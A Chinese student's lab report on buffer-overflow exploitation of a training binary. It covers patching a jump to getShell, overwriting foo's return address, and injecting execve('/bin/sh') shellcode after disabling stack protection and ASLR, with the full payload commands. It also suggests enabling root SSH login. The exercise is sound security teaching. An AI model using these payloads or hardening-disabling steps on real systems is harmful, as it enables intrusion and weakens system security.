当前位置: 首页 > news >正文

20232317 2025-2026-1《网络与系统攻防技术》实验一实验报告

1.实验内容
1.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
1.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
1.3注入一个自己制作的shellcode并运行这段shellcode。
2.实验过程

2.1实践一
首先下载好kali虚拟机
屏幕截图 2025-10-13 181914
通过winscp链接虚拟机传输pwn1文件(图里没解压,不补图了)
屏幕截图 2025-10-13 162143

屏幕截图 2025-10-13 162010

输入objdump -d pwn1 | more找到getshell、foo、main函数
image

输入cp pwn1 pwn2复制一个文件然后输入vi pwn2进入到文件中。
输入objdump -d pwn2| more查看修改结果并进行测试
image
image

可见修改成功,getshell成功运行。
2.2实践二
对pwn1进行反编译,查看foo
image

先使用gdb pwn1调试程序,输入1111111122222222333333334444444455555555。 然后输入info r确认输入字符串哪几个字符会覆盖到返回地址。
image

1234 四个数最终会覆盖到堆栈上的返回地址,因此只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
image

image

通过反编译可以看到getshell的返回地址为0804847d。 通过perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input先生成包括这样字符串的一个文件。 输入xxd input查看input文件的内容是否如预期。 通过(cat input; cat) | ./pwn1将input的输入,通过管道符“|”,作为pwn1的输入。
image

2.3实践三

execstack -s pwn1设置堆栈可执行 execstack -q pwn1查询文件的堆栈是否可执行 echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化 more /proc/sys/kernel/randomize_va_space验证地址随机化是否关闭
输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 输入(cat input_shellcode;cat) | ./pwn1将input_shellcode的输入内容作为pwn1的输入 打开新终端,输入ps -ef | grep pwn1查看进程
image
image

可以知道pwn1的进程是110585。
启用gdb调试程序,输入disassemble foo反编译foo函数并进行分析。 输入break *0x080484ae设置断点。 在另一个终端输入命令c并在次终端按一下回车。 输入info r esp查看栈顶指针所在位置,当前ESP值为0xffffcfbc。
image

使用\xf0\xcf\xff\xff替换原占位符 \x01\x02\x03\x04,构造要注入的字符串:perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode 输入(cat input_shellcode; cat) | ./pwn1,执行ls命令

image

3.问题及解决方案
问题一:winscp一开始链接不了kali
解决方法:
问豆包,输入sudo nano /etc/ssh/sshd_config找到PasswordAuthentication yes PermitRootLogin yes删掉前面的注释
4.学习感悟
我个人觉得这次实验比较复杂有难度,遇到很多问题,问了豆包和在csdn找了很多文章,收获很多。

http://www.hskmm.com/?act=detail&tid=30407

相关文章:

  • 给一个字符串数组,输出不同的部分
  • 连接 USB 设备
  • SpringBoot-day1(快速上手SpringBoot,SpringBoot简介,SpringBoot基础配置,属性配置,yaml文件) - a
  • Chroma私有化:本地部署完整方案
  • 嵌入式-C++面经2
  • PHP转Go系列 | 如何将 PHP 项目快速迁移到 Go 上?
  • 详细介绍:【OpenHarmony】用户文件服务模块架构
  • 详细介绍:全新 CloudPilot AI:嵌入 Kubernetes 的 SRE Agent,降本与韧性双提升!
  • “环境变量”是什么, 为什么要配置环境变量 --初学者
  • AI元人文:对大模型的召唤——未来哪吒
  • https与http区别思维拓扑图 - krt
  • Java 装饰器模式(Decorator) - krt
  • Python INI 文件读写利器 configparser
  • tcp/ip五层协议模型--思维拓扑图 - krt
  • springboot模式与应用案例--思维拓扑图 - krt
  • DAY04
  • AlexNet vs LeNet 对比实验
  • QT:获取文件信息之创建日期方法created()方法--废弃
  • 排列组合 容斥 总结
  • 10.13每日总结
  • 新学期每日总结(第7天)
  • 20232422 2025-2026-1 《网络与系统攻防技术》实验一实验报告
  • Day 9
  • 14 10.13
  • 日志|前端框架Vue
  • oop.shiyan1
  • 玄机——第一章 应急响应-Linux日志分析 wp
  • 第四周第五天4.5
  • 深入解析:flutter AudioPlayer的使用问题及处理
  • 11 10.10